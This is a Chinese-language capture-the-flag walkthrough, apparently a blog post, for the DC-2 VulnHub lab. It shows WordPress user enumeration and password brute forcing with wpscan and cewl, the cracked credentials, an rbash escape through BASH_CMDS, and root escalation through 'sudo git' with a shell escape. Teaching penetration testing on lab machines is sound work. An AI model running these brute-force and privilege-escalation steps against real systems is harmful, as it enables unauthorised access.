首页 > 其他分享 >DC-2靶场详细步骤

DC-2靶场详细步骤

时间:2024-09-26 23:20:30浏览次数:3  
标签:-- 步骤 DC dc tom jerry 靶场

1.环境搭建

与DC-1非常相似,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。与最初的DC-1一样,它是为初学者设计的。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。就像DC-1一样,有五面旗帜,包括最后一面旗帜。和DC-1一样,旗子对初学者来说很重要,但对有经验的人来说就不那么重要了。简而言之,唯一真正有意义的旗帜,是最后一面旗帜。对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等。我没有探索实现root的所有方法,因为我放弃了我一直在研究的上一个版本,并从基本操作系统安装中完全重新开始。

2.下载靶场环境

  靶场下载地址:

https://www.vulnhub.com/entry/dc-2,311/

渗透靶场

    目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24

信息收集:寻找靶机真实IP

nmap -sP 192.168.186.0/24

2a5ba262d2c94ef1bd4e2043a411a911.png

 信息收集:

探端口及服务

nmap -A -p- -v 192.168.186.130

58035df35e794503a5ff723a267847dc.png

 发现开放了80端口,存在web服务,Apache/2.4.10,    发现开放了7744端口,开放了ssh服务,用IP地址访问DC-2结果回显是访问不到

70ab956593614549824815859c7f0236.png

 kali中host地址 vim /etc/hosts

 

添加完成之后,再次访问,访问成功

0c00f62a703941b7a1fa7f3c148076bc.png

 可以很明显的发现这是一个wordpress的站点

发现flag1

在网页下面我们flag

8d7f609058f7403d975bcd198b8f9092.png

 然后回到终端输入 dirb http://dc-2/  列出一个目录

e5891c5f3f0341c1980dffedac98f5bf.png

 找到后台地址选中右键打开链接

503254217d30494990460c62479c5b78.png

 打开后进入登录页面

e31885a67df748d0831401f43b93791f.png

 

然后使用wpscan --url http://dc-2

7dad451a1f6a4e8391aaefe041b19211.png

 发现wordpress的版本4.7.10

7cc4459ca7c74ad5bef2bff4dd7edeec.png

 登录页面尝试登录随即输入用户名密码,提示用户名不存在,似乎可以进行用户名枚举

092faca63a654bad96243e3cfc8d708e.png

 首先来个用户枚举,再尝试利用枚举到的用户爆破密码wpscan --url http://dc-2 --enumerate u

606860a791e0403f81feb7a275f1dc5d.png

 用cewl工具爬取dc-2这个网页上的内容,作为爆破的密码字典

cewl http://dc-2/ > 2.txt

4315a55960b74cb4992aba2647add793.png

 使用wpscan进行暴力破解wpscan --url http://dc-2 --passwords dc2.txt

cb48be8e12f34ccd98cf9f7d3b850cca.png

 b6df7d12032d41689119f4b8d794d04c.png

 爆破出来两个账号

jerry/adipiscing

tom/parturient

jerry/adipiscing登录此站点

4f1bb40407b843f989f742c9173529b3.png

f8587ff224d84783b5cd8dc311d0042d.png 

 发现flag2    

登录后台之后,我们看到flag2,我用的是jerry的账号

b57523c6567f4c028b3c65f111b43477.png

 点进去之后看到flag2提示信息

9695dcb6f7ce4258a186072cbdeb4d99.png

 

在tom的家目录发现flag3

jerry/adipiscing

tom/parturient    

登录sshssh [email protected] -p 7744

24d1ff7ed727469eb6a0c084be1dc38b.png

 在tom账号的家目录 发现flag3

cat用不了

3e827425dff64455a2072f27b03c6d1f.png

 

接下来,尝试rbash绕过详情参考 https://xz.aliyun.com/t/7642

找到可以用的命令

echo $PATH

58bbf7f1a6944f9b854ccb060597af78.png

 使用echo来绕过rbash

BASH_CMDS[a]=/bin/sh;a

export PATH=$PATH:/bin/export

PATH=$PATH:/usr/bin

echo /*

d7766a2ca49a4a99ad2e54ecc85ae846.png

 在jerry的家目录发现flag4

a0cd0f4f30634d3f8f7536518c08ae50.png

 输入tom的密码,输入su - jerry再输入jerry的密码再输入sudo -l

75b6a2bcd0354b4fb1db1b1876a0cfb2.png

 提权查看一下可以使用的root权限命令

find / -user root -perm -4000 -print 2>/dev/null

a02b254be69d4828996d0f7cf7b85686.png

 jerry用户也不可以直接sudo su

90763ccc4bda44ca94eb5be009dd13e6.png

 使用git命令进行提取

sudo git help status

输入!/bin/sh,直接输入就行

e2e054198dee4195afa0deb3d4424c7c.png

 提权成功

26d5ce2dd62c421cac48670f89f9aa2f.png

 发现final-flag.txt

cd /root

cat final-flag.txt

df416bb29df34ed9a4820bc8580c0ec6.png

到这里实验就结束了,感谢

标签:--,步骤,DC,dc,tom,jerry,靶场
From: https://blog.csdn.net/2401_87576128/article/details/142578062

相关文章

  • 火狐浏览器mfc140u.dll缺失引发的故障及高效恢复步骤
    火狐浏览器在运行时如果提示mfc140u.dll文件缺失,可能会引发程序启动失败、运行时异常或崩溃等故障。这个DLL文件是MicrosoftVisualC++RedistributablePackagesforVisualStudio2015的一部分,它包含了运行使用VisualStudio2015开发的C++应用程序所必需的MFC(MicrosoftFo......
  • 无径之林DirectX组件报错大起底:原因、影响及修复步骤
    一、报错原因无径之林游戏在运行过程中,如果DirectX组件出现报错,通常是由以下几个原因造成的:DirectX版本问题:DirectX版本过低、损坏或未正确安装,都可能导致游戏无法正确调用DirectX的功能,从而引发报错。显卡驱动问题:显卡驱动程序过时、不兼容或安装不正确,会直接影响DirectX......
  • 宝塔面板WordPress建站教程:海外服务器选择与详细安装步骤
     一、什么是宝塔面板?宝塔面板(BTPanel)是一款简单易用的服务器管理工具,适合那些不熟悉命令行操作的用户。它允许你通过一个图形化界面轻松管理服务器和网站,尤其适合新手用户快速搭建像WordPress这样的网站。二、准备工作选择服务器与域名搭建网站的第一步是选择合适的服务器......
  • 独立站如何批量查收录,独立站如何批量查收录的查询步骤
    独立站批量查收录是SEO优化过程中的一个重要环节,旨在快速了解多个独立站在搜索引擎中的被收录情况。以下是独立站批量查收录的查询步骤:市面上有许多第三方在线的SEO工具支持批量查询谷歌收录,这些工具通常提供了更为便捷的批量查询功能和丰富的数据分析报告。以下是一些常用的第......
  • DC-2通关详解
    DC-2与DC-1非常像,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。与最初的DC-1一样,它是为初学者设计的。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。DC-2一样有五个flag。渗透靶场目标是确定目标靶场使用ifconfig来......
  • 深入分治法:如何用简单步骤解决复杂问题?
    分治法(DivideandConquer)概述分治法是一种经典的算法设计思想,它将一个复杂问题分成多个规模较小的子问题,分别解决这些子问题,然后将子问题的解组合成原问题的解。分治法的思想非常通用,适用于许多经典算法和问题,如归并排序、快速排序、二分搜索、矩阵乘法等。分治法的基本步......
  • Windows 允许用户自定义和安装网络协议。以下是一些方法和步骤,帮助您在 Windows 中进
    Windows允许用户自定义和安装网络协议。以下是一些方法和步骤,帮助您在Windows中进行此操作。1.使用设备管理器安装协议您可以通过设备管理器来安装特定的网络协议:打开设备管理器:右键点击“开始”菜单,选择“设备管理器”。找到网络适配器:展开“网络适配器”部分。......
  • 未公开 用友 NC uploadControl任意文件上传漏洞
     0x01阅读须知        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用......
  • Spring邮件发送:配置与发送邮件详细步骤?
    Spring邮件发送教程指南?怎么用Spring邮件发送服务?Spring框架提供了强大的邮件发送支持,使得开发者能够轻松地在应用程序中集成邮件发送功能。AokSend将详细介绍如何在Spring应用中配置和发送邮件,帮助开发者快速掌握这一关键技能。Spring邮件发送:基础配置添加依赖:在项目的pom......
  • 如何解决 :libstdc++.so.6: version `GLIBCXX_3.4.30‘ not found
    如何解决:libstdc++.so.6:version`GLIBCXX_3.4.30‘notfound问题描述:当您尝试在Linux系统上运行某个程序或软件时,有时会遇到一个错误,提示libstdc++.so.6:versionGLIBCXX_3.4.30notfound。这个错误表明您的系统缺少某个特定版本的C++标准库,具体来说就是GLIBCXX_3.4.30......